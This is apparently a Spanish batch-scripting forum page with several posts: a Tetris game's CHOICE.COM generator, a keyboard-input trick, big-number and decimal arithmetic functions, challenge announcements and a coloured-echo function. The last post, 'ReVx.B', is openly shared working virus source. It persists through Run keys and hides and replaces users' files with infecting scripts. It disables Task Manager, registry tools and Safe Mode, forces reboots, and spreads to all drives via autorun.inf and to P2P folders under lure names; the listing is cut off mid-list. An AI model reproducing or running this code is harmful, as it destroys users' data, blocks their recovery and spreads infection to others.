set "shape[2.1]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.2]=X35Y3,X36Y3,X37Y3,X38Y3"
set "shape[2.3]=X35Y3,X35Y4,X35Y5,X35Y6"
set "shape[2.C]=0;31"
set "shape[3.0]=X35Y3,X36Y3,X37Y3,X37Y4"
set "shape[3.1]=X36Y3,X36Y4,X36Y5,X35Y5"
set "shape[3.2]=X35Y3,X35Y4,X36Y4,X37Y4"
set "shape[3.3]=X35Y3,X36Y3,X35Y4,X35Y5"
set "shape[3.C]=1;37"
set "shape[4.0]=X35Y3,X36Y3,X37Y3,X35Y4"
set "shape[4.1]=X35Y3,X36Y3,X36Y4,X36Y5"
set "shape[4.2]=X37Y3,X35Y4,X36Y4,X37Y4"
set "shape[4.3]=X35Y3,X35Y4,X35Y5,X36Y5"
set "shape[4.C]=0;35"
set "shape[5.0]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.1]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.2]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.3]=X35Y3,X36Y3,X35Y4,X36Y4"
set "shape[5.C]=0;34"
set "shape[6.0]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.1]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.2]=X35Y3,X36Y3,X36Y4,X37Y4"
set "shape[6.3]=X36Y3,X35Y4,X36Y4,X35Y5"
set "shape[6.C]=1;36"
goto:eof
:_choice.gen
set "_=echo:e"
(
%_%0100 E9 32 04 59 4E 00 00 00 00 00 00 00 00 00 00 00
%_%0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0180 00 00 00 00 00 57 61 69 74 73 20 66 6F 72 20 74
%_%0190 68 65 20 75 73 65 72 20 74 6F 20 63 68 6F 6F 73
%_%01A0 65 20 6F 6E 65 20 6F 66 20 61 20 73 65 74 20 6F
%_%01B0 66 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 43
%_%01C0 48 4F 49 43 45 20 5B 2F 43 5B 3A 5D 63 68 6F 69
%_%01D0 63 65 73 5D 20 5B 2F 4E 5D 20 5B 2F 53 5D 20 5B
%_%01E0 2F 54 5B 3A 5D 63 2C 6E 6E 5D 20 5B 74 65 78 74
%_%01F0 5D 0D 0A 0D 0A 00 2F 43 5B 3A 5D 63 68 6F 69 63
%_%0200 65 73 20 53 70 65 63 69 66 69 65 73 20 61 6C 6C
%_%0210 6F 77 61 62 6C 65 20 6B 65 79 73 2E 20 44 65 66
%_%0220 61 75 6C 74 20 69 73 20 59 4E 0D 0A 2F 4E 20 20
%_%0230 20 20 20 20 20 20 20 20 20 44 6F 20 6E 6F 74 20
%_%0240 64 69 73 70 6C 61 79 20 63 68 6F 69 63 65 73 20
%_%0250 61 6E 64 20 3F 20 61 74 20 65 6E 64 20 6F 66 20
%_%0260 70 72 6F 6D 70 74 20 73 74 72 69 6E 67 2E 0D 0A
%_%0270 2F 53 20 20 20 20 20 20 20 20 20 20 20 54 72 65
%_%0280 61 74 20 63 68 6F 69 63 65 20 6B 65 79 73 20 61
%_%0290 73 20 63 61 73 65 20 73 65 6E 73 69 74 69 76 65
%_%02A0 2E 0D 0A 2F 54 5B 3A 5D 63 2C 6E 6E 20 20 20 20
%_%02B0 44 65 66 61 75 6C 74 20 63 68 6F 69 63 65 20 74
%_%02C0 6F 20 63 20 61 66 74 65 72 20 6E 6E 20 73 65 63
%_%02D0 6F 6E 64 73 0D 0A 74 65 78 74 20 20 20 20 20 20
%_%02E0 20 20 20 50 72 6F 6D 70 74 20 73 74 72 69 6E 67
%_%02F0 20 74 6F 20 64 69 73 70 6C 61 79 0D 0A 0D 0A 45
%_%0300 52 52 4F 52 4C 45 56 45 4C 20 69 73 20 73 65 74
%_%0310 20 74 6F 20 6F 66 66 73 65 74 20 6F 66 20 6B 65
%_%0320 79 20 75 73 65 72 20 70 72 65 73 73 65 73 20 69
%_%0330 6E 20 63 68 6F 69 63 65 73 2E 0D 0A 0D 0A 00 49
%_%0340 6E 76 61 6C 69 64 20 73 77 69 74 63 68 20 6F 6E
%_%0350 20 63 6F 6D 6D 61 6E 64 20 6C 69 6E 65 2E 20 45
%_%0360 78 70 65 63 74 65 64 20 66 6F 72 6D 3A 0D 0A 20
%_%0370 20 20 20 00 43 48 4F 49 43 45 3A 20 69 6E 76 61
%_%0380 6C 69 64 20 63 68 6F 69 63 65 20 73 77 69 74 63
%_%0390 68 20 73 79 6E 74 61 78 2E 20 45 78 70 65 63 74
%_%03A0 65 64 20 66 6F 72 6D 3A 20 2F 43 5B 3A 5D 63 68
%_%03B0 6F 69 63 65 73 0D 0A 00 43 48 4F 49 43 45 3A 20
%_%03C0 49 6E 63 6F 72 72 65 63 74 20 74 69 6D 65 6F 75
%_%03D0 74 20 73 79 6E 74 61 78 2E 20 20 45 78 70 65 63
%_%03E0 74 65 64 20 66 6F 72 6D 20 54 63 2C 6E 6E 20 6F
%_%03F0 72 20 54 3A 63 2C 6E 6E 0D 0A 00 43 48 4F 49 43
%_%0400 45 3A 20 54 69 6D 65 6F 75 74 20 64 65 66 61 75
%_%0410 6C 74 20 6E 6F 74 20 69 6E 20 73 70 65 63 69 66
%_%0420 69 65 64 20 28 6F 72 20 64 65 66 61 75 6C 74 29
%_%0430 20 63 68 6F 69 63 65 73 2E 0D 0A 00 43 48 4F 49
%_%0440 43 45 3A 20 6F 6E 6C 79 20 6F 6E 65 20 70 72 6F
%_%0450 6D 70 74 20 73 74 72 69 6E 67 20 61 6C 6C 6F 77
%_%0460 65 64 2E 20 45 78 70 65 63 74 65 64 20 46 6F 72
%_%0470 6D 3A 0D 0A 20 20 20 20 00 43 48 4F 49 43 45 3A
%_%0480 20 72 65 71 75 69 72 65 73 20 4D 53 2D 44 4F 53
%_%0490 20 76 65 72 73 69 6F 6E 20 34 2E 30 20 6F 72 20
%_%04A0 6C 61 74 65 72 2E 0D 0A 00 00 00 01 00 00 00 00
%_%04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
%_%0530 00 00 00 00 00 FC B0 01 B4 30 CD 21 3C 03 7F 0B
%_%0540 BB 79 04 E8 57 02 B0 FF E9 4E 02 06 B8 02 65 BB
%_%0550 FF FF B9 05 00 8B D3 0E BF 2F 05 CD 21 47 C4 3D
%_%0560 26 8B 1D B8 00 01 2B C3 A3 33 05 83 C7 02 89 3E
%_%0570 2F 05 8C 06 31 05 07 BE 81 00 AC 3C 0D 75 03 E9
%_%0580 38 01 3C 2F 74 41 3C 20 74 F0 3C 09 74 EC BF AF
%_%0590 04 80 3D 00 75 20 3C 22 75 04 B2 22 EB 03 B2 2F
%_%05A0 AA 8A 04 3C 0D 74 D3 3A C2 74 04 AA 46 EB F2 3C
%_%05B0 2F 74 C7 46 EB C4 BB 3C 04 E8 E1 01 BB BF 01 E8
%_%05C0 DB 01 B0 FF E9 D2 01 AC E8 E9 01 3C 3F 74 24 3C
%_%05D0 43 74 37 3C 4E 74 6D 3C 54 74 71 3C 53 75 03 E9
%_%05E0 D0 00 BB 3F 03 E8 B5 01 BB BF 01 E8 AF 01 B0 FF
%_%05F0 E9 A6 01 BB 85 01 E8 A4 01 BB BF 01 E8 9E 01 BB
%_%0600 F6 01 E8 98 01 B0 FF E9 8F 01 BF 03 01 8A 04 3C
%_%0610 3A 75 03 46 8A 04 3C 20 74 12 3C 09 74 0E 3C 0D
%_%0620 74 0A 3C 2F 74 06 AA 46 8A 04 EB EA B0 00 88 05
%_%0630 81 FF 03 01 74 03 E9 41 FF BB 74 03 E8 5E 01 B0
%_%0640 FF E9 55 01 C6 06 AB 04 00 E9 2E FF 8A 04 3C 3A
%_%0650 75 03 46 8A 04 3C 0D 74 4E 3C 2F 74 4A 3C 20 74
%_%0660 46 3C 09 74 42 A2 AE 04 46 8A 04 3C 2C 75 38 46
%_%0670 8A 04 3C 30 72 31 3C 39 77 2D 83 E0 0F A2 AD 04
%_%0680 46 8A 04 3C 30 73 03 E9 F0 FE 3C 39 76 03 E9 E9
%_%0690 FE A0 AD 04 BA 0A 00 F6 E2 8A 1C 80 E3 0F 02 C3
%_%06A0 A2 AD 04 46 E9 D3 FE BB B8 03 E8 F0 00 B0 FF E9
%_%06B0 E7 00 C6 06 AC 04 01 E9 C0 FE 80 3E AC 04 01 74
%_%06C0 1B A0 AE 04 E8 ED 00 A2 AE 04 BE 03 01 80 3C 00
%_%06D0 74 0A 8A 04 E8 DD 00 88 04 46 EB F1 BF 03 01 B9
%_%06E0 80 00 A0 AE 04 F2 AE 74 0B BB FB 03 E8 AE 00 B0
%_%06F0 FF E9 A5 00 BB AF 04 E8 A3 00 80 3E AB 04 01 75
%_%0700 29 BF 03 01 B4 02 B2 5B CD 21 B4 02 8A 15 CD 21
%_%0710 47 80 3D 00 74 08 B4 02 B2 2C CD 21 EB EC B4 02
%_%0720 B2 5D CD 21 B4 02 B2 3F CD 21 80 3E AD 04 00 74
%_%0730 2D B4 2C CD 21 88 36 AA 04 B4 0B CD 21 83 E0 01
%_%0740 83 C8 00 75 19 B4 2C CD 21 38 36 AA 04 74 EA 88
%_%0750 36 AA 04 FE 0E AD 04 75 E0 A0 AE 04 EB 04 B4 08
%_%0760 CD 21 BF 03 01 80 3E AC 04 01 74 03 E8 45 00 80
%_%0770 3D 00 74 05 AE 74 0A EB F6 B4 02 B2 07 CD 21 EB
%_%0780 DD B4 02 8A D0 CD 21 B4 02 B2 0D CD 21 B4 02 B2
%_%0790 0A CD 21 81 EF 03 01 8B C7 B4 4C CD 21 50 57 52
%_%07A0 B4 02 33 FF 8A 11 80 FA 00 74 05 CD 21 47 EB F4
%_%07B0 5A 5F 58 C3 53 57 06 3C 61 72 1B 3C 7A 77 04 2C
%_%07C0 20 EB 13 3C 80 72 0F C4 3E 2F 05 8B D8 32 FF 2B
%_%07D0 1E 33 05 26 8A 01 07 5F 5B C3
ECHO:RCX
ECHO:6DA
ECHO:N CHOICE.COM
ECHO:W
ECHO:Q
) | debug 1>nul 2>&1
goto :eof



Si notáis algún error, por favor hacédmelo saber.

¡Un saludo!

PD: El foro deforma el código. Aquí podéis descargalo: https://www.dropbox.com/s/blk8j8dpo17teq8/Tetris.bat

EDIT: Código optimizado.

EDIT2: Arreglado un bug en la rotación.

EDIT FINAL: Versión 1.0 totalmente terminada. El código ahora mismo genera el choice.com para evitar molestias de tener que descargarlo. También corregí la corrección del bug en la rotación, que había quedado solucionado a medias. Por lo demás, cambié el estilo de los bloques por un nuevo carácter que creo que queda mejor, aún así, si no os gusta, podéis volver a lo viejo descomentando la linea set "Bound=²".
También estudié más a fondo el tetris original y vi que las figuras sí que son elegidas aleatoriamente, mas no su posición. Por otro lado, vi también que la primera posición de cada figura está definida, no puedes poner una cualquiera. Lo arreglé, también.

Si veis algún error más, comentádmelo por favor.
#30
Uno de los grandes inconvenientes de los batch games es sin duda que muchos necesitan el comando choice para poder seguir la ejecución del juego mientras se espera la entrada por el teclado.

Con este método, se puede lograr el mismo efecto e incluso mejor, porque no hay un tiempo de espera de 1 segundo.


@Echo Off
setlocal enableextensions enabledelayedexpansion
chdir /d "%TEMP%"
if not exist "keyboard.com" call :_code[keymake]
goto:_code[%~1]
:_code[]

start "" /b "%~0" keypress

:_keypress
if exist @ (
1>nul 2>&1,set/p "k_p=" 0<@
if "!k_p!" EQU "65" echo. Presionaste A & ping -n 2 localhost > nul
if "!k_p!" EQU "66" echo. Presionaste B & ping -n 2 localhost > nul
1>nul 2>&1,del /f /q @
)
echo: Mientras tanto, mostramos mensajes.
goto :_keypress

:_code[keypress]
keyboard.com & echo.!errorlevel!>@ 2>nul
goto:_code[keypress]

:_code[keymake]
(ECHO.N KEYBOARD.COM
ECHO.E 0000 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
ECHO.R CX
ECHO.000E
ECHO.W0
ECHO.Q)|DEBUG 1>NUL 2>&1
GOTO:EOF


¡Un saludo!

PD: Lo malo es que no funciona con ansi.sys  :xD ni siquiera sé bien por qué, pero parece ser que el command.com interrumpe la ejecución del hilo principal y se la da al hilo secundario, es algo raro, pero bueh, usando el método de toda la vida para los batch games no hay ningún problema.
#31
Aquí dos funciones nuevas relacionadas con la suma y la resta. Las otras eran para decimales, estas son para saltarse el límite de 32 bits de precisión que tiene la cmd al operar.

Después, cuando haga funciones para división y multiplicación decimal y corrija todos los bugs de estas funciones, lo unificaré todo en una sola clase para poder trabajar en batch con cualquier número real, con todos los dígitos decimales que uno quiera.

Aquí vienen las funciones:


:_addx
setlocal enabledelayedexpansion
set "f_s=_%~1" & set "s_s=_%~2" & set "add_str="
set/a cnt=1,car=0
:__loop.a
set "n_1=!f_s:~-%cnt%,1!"
set "n_2=!s_s:~-%cnt%,1!"
if "%n_1%%n_2%" EQU "__" goto :_endadd
if "%n_1%" EQU "_" set/a n_1=0
if "%n_2%" EQU "_" set/a n_2=0
set/a add=%n_1%+%n_2%+%car%,car=0,cnt+=1
if %add% GEQ 10 (
set/a car=1
if "!f_s:~-%cnt%,1!!s_s:~-%cnt%,1!" NEQ "__" (
set "add=%add:~-1%"
))
set "add_str=%add%%add_str%"
goto :__loop.a
:_endadd
call :_filset "%add_str%" "add_str"
endlocal & set "%~3=%add_str%" & exit /b

:_subx
setlocal enabledelayedexpansion
if "%~1" EQU "%~2" set "sub_str=0" & goto :_endsub
call :_filset "%~1" "t_1" & call :_filset "%~2" "t_2"
call :_hst "%t_1%" "%t_2%"
if "%hst%" EQU "%t_2%" set "min=_%~2" & set "sbs=_%~1" & set "s_g=-"
if "%hst%" EQU "%t_1%" set "min=_%~1" & set "sbs=_%~2"
set "sub_str=" & set/a cnt=1,c_s=0,car=0
:__loop.b
set "n_1=!min:~-%cnt%,1!"
set "n_2=!sbs:~-%cnt%,1!"
if "%n_1%%n_2%" EQU "__" goto :_endsub
if "%n_2%" EQU "_" set/a n_2=0
if "%car%" EQU "1" set/a n_2+=1,car=0
if %n_1% LSS %n_2% set/a c_s=10,car=1
set/a sub=%n_1%-%n_2%+%c_s%
set "sub_str=%sub%%sub_str%"
set/a cnt+=1,c_s=0
goto :__loop.b
:_endsub
call :_filset "%sub_str%" "sub_str"
endlocal & set "%~3=%s_g%%sub_str%" & exit /b

:_filset
for /f "tokens=* delims=0" %%_ in ("%~1") do set "%~2=%%_"
if not defined %~2 set/a "%~2=0"
exit /b

:_hst
setlocal enabledelayedexpansion
call :_strlen "%~1" & set/a n[0]=!errorlevel!
call :_strlen "%~2" & set/a n[1]=!errorlevel!
if %n[0]% EQU %n[1]% set "s_0=%~1" & set "s_1=%~2" & goto :_endhst
set/a hst=0,nhst=1
if %n[1]% GTR !n[%hst%]! set/a hst=1,nhst=0
set/a l_0=!n[%hst%]!-!n[%nhst%]!
shift/0 & call set "s_0=%%~%hst%" & call set "s_1=%%~%nhst%"
for /l %%_ in (1,1,%l_0%) do call set "s_1=0!s_1!"
:_endhst
for /f %%_ in ('"(echo:%s_0%&echo:%s_1%)|sort"') do set "hst=%%_"
endlocal & set "hst=%hst%" & exit /b

:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%


La sintaxis es:


call :_addx "sum1" "sum2" "variable_almacén"
call :_subx "min" "sbs" "variable_almacén"


Un saludo, y por favor, cualquier bug que encuentren díganmenlo, que así me ayudarán a mejorar la clase final ;)

PD: Devuelve también, en el caso de la resta, resultados negativos si el substraendo es mayor que el minuendo ;)

EDIT: Bug fixeado.

Un pequeño ejemplo de su uso:


@Echo Off
more/c<nul
echo:  125504500255796221456988250471037
echo:-        47662554011498822047690014
echo:-------------------------------------
call :_subx "125504500255796221456988250471037" "47662554011498822047690014" "rslt"
echo:  %rslt%
pause>nul & exit


Como podéis ver, estos números son imposibles de operar en batch, pero usando esta función es posible.

Con decimales y con capacidad para manejar números astronómicos, creo que ya no hay excusas para no hacer programas de matemáticas en batch.
#32
Aquí dejo una función que es capaz de sumar y restar infinitos términos con tantos decimales como permita la cmd, usando sólo batch.

Dedicada a AgnesBlack, que tenía una duda con esto se ve.


@Echo Off
more/c<nul
call :_calc sub "12.72-8.189605-1.0025" "adt"
call :_calc add "%adt%+521.27+5" "adt"
echo: 12.72 - 8.189605 - 1.0025 + 521.27 + 5 = %adt%
pause 1>nul
exit
:_calc
setlocal enabledelayedexpansion
if "%~1" EQU "add" set "sym=+"
if "%~1" EQU "sub" set "sym=-"
set "add_str=%~2"
set "add_str=!add_str:%sym%= !"
set/a hst=0,cnt=0,add=0
for %%_ in (%add_str%) do (
set/a dec[!cnt!]=0
for /f "tokens=2 delims=." %%. in ("%%_") do (
call :_strlen "%%."
set/a dec[!cnt!]=!errorlevel!
if !errorlevel! GTR !hst! set/a hst=!errorlevel!
)
set/a cnt+=1
)
set/a cnt=0
if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do (
set/a pow=%hst%-%dec[0]%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add+=!n_b!*2
goto :__op
)
:__op
for %%_ in (%add_str:.=%) do (
call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add%sym%=!n_b!,cnt+=1
)
set "res=!add:~0,-%hst%!.!add:~-%hst%!"
if %hst% EQU 0 set "res=%res:~1%"
endlocal & set "%~3=%res%" & exit /b
:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%


¡Un saludo!
#33
Scripting / [Reto Batch]Algoritmo Quicksort
22 Julio 2012, 20:31 PM
Reto Nº 18

Nombre:           Algoritmo Quicksort (Binary_Death)
Dificultad:        6/10
Objetivo:         Desarrollar una función de ordenamiento de números basada               en el algoritmo quicksort.

Indicaciones:   El algoritmo se puede ver aquí: http://es.wikipedia.org/wiki/Quicksort

La llamada a la función ha de ser como sigue: call :_qsort "a b c d e f g h i..."
Donde las letras son números cualquiera.
#34
Scripting / [BATCH] Colored ECHO función
22 Julio 2012, 01:03 AM
Esta es una versión que hice de la ya muy antigua función de echo coloreado usando findstr.
¿Recuerdan que siempre quedaban los dos puntos al final de la cadena? He visto formas de eliminarlos que hicieron algunos usuarios, de varias maneras.

Aquí dejo yo una que es muy corta:


@Echo Off
for %%x in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
for %%y in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
call:_echo "Color %%x%%y" %%x%%y
)
)
exit
:_echo
chdir "%temp%"
exit|cmd /k prompt $H>"%~1"
findstr /v /a:%~2 /r "^$" "%~1*" && ECHO+
del /f /q "%~1"
goto:eof


Como pueden ver, aquí el propio carácter backspace está incluido en en fichero que se le pasa como parámetro a findstr.

Un saludo
#35
Scripting / [Reto Batch]Edad lunar
8 Julio 2012, 18:58 PM
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por binary_death.

Reto Nº 16 BATCH

Nombre:           Edad lunar (Binary_Death)
Dificultad:        2/10
Objetivo:         Programar un script que, introduciendo cualquier día, mes y año, devuelva la edad de la luna (y por ende su fase lunar)
Pistas:             No hay que saber demasiado batch, y la forma de calcular esto se encuentra en muchos sitios de la red.
                      Edad lunar = epacta + día del mes + meses desde marzo
#36
Scripting / [Batch] ReVx.B
21 Junio 2012, 21:22 PM

@Echo Off %Header0% %_vx_%
SetLocal EnableDelayedExpansion %Header0% %_vx_%
GoTo :_%~1 %Header0% %_vx_%
:_Hidden %Header0% %_vx_%
:_ %Header0% %_vx_%
Chdir "%temp%" & Copy /y "%~0" "%temp%" %Header0% 1>nul 2>&1 %Header0% %_vx_%
If "%~1" NEQ "Hidden" ( %Header0% %_vx_%
call :_vbs>vbs.vbs & start vbs.vbs %Header0% %_vx_%
exit %Header0% %_vx_%
) else (GoTo :_code) %Header0% %_vx_%
:_vbs %Header0% %_vx_%
Echo.On Error Resume Next %Header0% %_vx_%
Echo.SET a=CreateObject^("WScript.Shell"^) %Header0% %_vx_%
Echo a.Run """%~n0%~x0"" Hidden", vbHide %Header0% %_vx_%
GoTo:EoF %Header0% %_vx_%
:_code %Header0% %_vx_%
del /q vbs.vbs %Header0% %_vx_%

Set "__dir0=%~0" %_vx_%
Set "__ext0=%~x0" %_vx_%
Set "__siz0=%~z0" %_vx_%
Set "__admin=0" %_vx_%
Set "__path=" %_vx_%
Set "__ipath=" %_vx_%
Set "__vpath=" %_vx_%
Set "__spath=" %_vx_%
Set "__adpath=" %_vx_%
Set "__modules=0,1,2,3,4,5" %_vx_%
Set __iext=*.doc *.docx *.xls *.xlsx *.ppt *.pps *.pptx *.pptx *.wmv *.pdf %_vx_%^
*.jpg *.jpeg *.bmp *.gif *.mp3 *.mp4 *.avi *.mpg *.mpeg *.divx *.png *.psd %_vx_%

:_main %_vx_%
Call :_AdminRequest & Call :_SetPrivs %_vx_%
:_polymorphism %_vx_%
Find "_vx_"<"%__dir0%">"%__vpath%" || GoTo :_polymorphism %_vx_%
For /l %%x in (0,1,10) do ( %_vx_%
call :SetMod "mod" %_vx_%
find "_m!mod!_"<"%__dir0%">>"%__vpath%" %_vx_%
call :_GenRan !random:~0,2! %_vx_%
Echo.::!rstr!>>"%__vpath%" %_vx_%
) %_vx_%
For %%x in (%__modules%) do Start "" /B /high "%__dir0%" Mod_%%x %_vx_%
EXIT %_vx_%
:SetMod %_vx_%
set/a "%~1=%random% %% 11" %_vx_%
(find "_m%mod%_"<"%__vpath%" 1>nul 2>&1) && (GoTo:SetMod) %_vx_%
GoTo:EoF %_vx_%
:_Mod_0 %_m0_%

Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m0_%
( %_m0_%
Echo.On Error Resume Next %_m0_%
Echo.Set b = CreateObject^("Scripting.FileSystemObject"^) %_m0_%
Echo.Set Ha = b.OpenTextFile^("%__vpath:\=\\%"^) %_m0_%
Echo.Contn = Ha.ReadAll %_m0_%
Echo.Do %_m0_%
Echo.If not^(b.FileExists^("%__vpath:\=\\%"^)^) Then %_m0_%
Echo.Set Hb = b.CreateTextFile^("%__vpath:\=\\%"^) %_m0_%
Echo.Hb.Write Contn %_m0_%
Echo.Hb.Close %_m0_%
Echo.End If %_m0_%
Echo.Loop %_m0_%
) 1>"%__adpath%" 2>nul %_m0_%
Start "" "%__adpath%" %_m0_%
EXIT %_m0_%

:_Mod_1 %_m1_%
Chdir "%__ipath%" %_m1_%
For /f "tokens=*" %%_ in ('dir /b /s %__iext%') do ( %_m1_%
if "%%~dp_" NEQ "%__spath%\" ( %_m1_%
call :_GenRan 16 %_m1_%
move /y "%%_" "%__spath%\!rstr!%%~x_" %_m1_%
attrib +s +h "%__spath%\!rstr!%%~x_" %_m1_%
call :_Infect "%__spath%\!rstr!%%~x_" 1>"%%_.bat" 2>nul %_m1_%
) %_m1_%
) %_m1_%
GoTo :_Mod_1 %_m1_%

:_Mod_2 %_m2_%
Set "c__c=Doskey tskill=exit&Doskey taskkill=exit&Doskey reg=exit&Doskey cmd=exit&Doskey doskey=exit" %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Command Processor" /v "AutoRun" /t REG_SZ /d "%c__c%" /f %_m2_%
Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\minimal" /f %_m2_%
Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\network" /f %_m2_%
GoTo :_Mod_2 %_m2_%

:_Mod_3 %_m3_%
Set /a "hour=%time:~0,2% + 1" %_m3_%
If "%hour%" EQU "24" Set "hour=00" %_m3_%
:_loop %_m3_%
If "%time:~0,2%" NEQ "%hour%" GoTo :_loop %_m3_%
Set /a "Dice=%random% %% 6" %_m3_%
If "%Dice%" EQU "0" ( %_m3_%
Pushd "%cd%" %_m3_%
Chdir "%UserProfile%" %_m3_%
Exit|"%ComSpec%" /k prompt e$S100$S07$_n$S@$_rcx$_1$_w$_q$_># %_m3_%
debug<#>nul %_m3_%
for /l %%_ in (0,1,%random:~-3%) do type @ %_m3_%
Popd %_m3_%
) %_m3_%
Set /a "ReBoot=%random% %% 12" %_m3_%
If "%ReBoot%" EQU "0" ( %_m3_%
shutdown -r -f -t 10 -c "Error 0x1445E5D9. The memory cannot be 'read'." %_m3_%
) %_m3_%
Set /a "SendKeys=%random% %% 12" %_m3_%
If "%SendKeys%" EQU "0" ( %_m3_%
Pushd "%cd%" %_m3_%
Chdir "%UserProfile%" %_m3_%
( %_m3_%
Echo.Do %_m3_%
Echo.Set a = CreateObject^("WScript.Shell"^) %_m3_%
Echo.a.SendKeys "REVX" %_m3_%
Echo.Loop %_m3_%
)>skeys.vbs %_m3_%
start "" "skeys.vbs" %_m3_%
Popd %_m3_%
) %_m3_%
GoTo :_Mod_3 %_m3_%

:_Mod_4 %_m4_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m4_%
For %%_ in ( %_m4_%
A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z %_m4_%
) do ( %_m4_%
If Exist "%%_:\" ( %_m4_%
Copy /y "%__dir0%" "%%_:\revx.bat" %_m4_%
Call:_Autorun "revx.bat" 1>"%%_:\autorun.inf" 2>nul %_m4_%
Attrib +s +h "%%_:\revx.bat" %_m4_%
Attrib +s +h "%%_:\autorun.inf" %_m4_%
) %_m4_%
) %_m4_%
GoTo :_Mod_4 %_m4_%

:_Mod_5 %_m5_%
Doskey taskkill= %_m5_%
If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
Set "ext_p2p=rar" %_m5_%
) else (Set "ext_p2p=bat") %_m5_%

If "%ext_p2p%" EQU "rar" ( %_m5_%
Set "path_p2p=%__ipath%\revxp2p.rar" %_m5_%
If Exist "!path_p2p!" Del /f /q "!path_p2p!" %_m5_%
Start /WAIT WinRAR.exe a "!path_p2p!" "%__dir0%" -ep1 -ibck -inul %_m5_%
taskkill /f /im "WinRAR.exe" %_m5_%
) else ( Set "path_p2p=%__dir0%" ) %_m5_%

For %%i in ( %_m5_%
"%ProgramFiles%\Kazaa\My Shared Folder", %_m5_%
"%ProgramFiles%\Kazaa Lite\My Shared Folder", %_m5_%
"%ProgramFiles%\Grokster\My Grokster", %_m5_%
"%ProgramFiles%\Morpheus\My Shared Folder", %_m5_%
"%ProgramFiles%\EDONKEY2000\incoming", %_m5_%
"%ProgramFiles%\Gnucleus\Downloads", %_m5_%
"%ProgramFiles%\eMule\Incoming", %_m5_%
"%ProgramFiles%\BearShare\Shared", %_m5_%
"%ProgramFiles%\Shareaza\Downloads", %_m5_%
"%ProgramFiles%\ICQ\shared files", %_m5_%
"%ProgramFiles%\Filetopia3\Files", %_m5_%
"%ProgramFiles%\appleJuice\incoming", %_m5_%
"%ProgramFiles%\LimeWire\Shared", %_m5_%
"%ProgramFiles%\Overnet\incoming", %_m5_%
"%ProgramFiles%\Swaptor\Download", %_m5_%
"%ProgramFiles%\WinMX\My Shared Folder", %_m5_%
"%ProgramFiles%\Tesla\Files", %_m5_%
"%ProgramFiles%\XoloX\Downloads", %_m5_%
"%ProgramFiles%\Rapigator\Share", %_m5_%
"%ProgramFiles%\KMD\My Shared Folder", %_m5_%
"%ProgramFiles%\Direct Connect\Received Files", %_m5_%
"%HomeDrive%\My Shared Folder", %_m5_%
"%UserProfile%\Desktop\My Shared Folder" %_m5_%
) do ( %_m5_%
If Exist "%%~i" ( %_m5_%
For %%d in ( %_m5_%
"MSN_emoticons","Horny_girls_get_fucked","Asian_teen_collection", %_m5_%
"Windows_7_gold_serials","MSN_hacking_code","Office_2010_activation_tool", %_m5_%
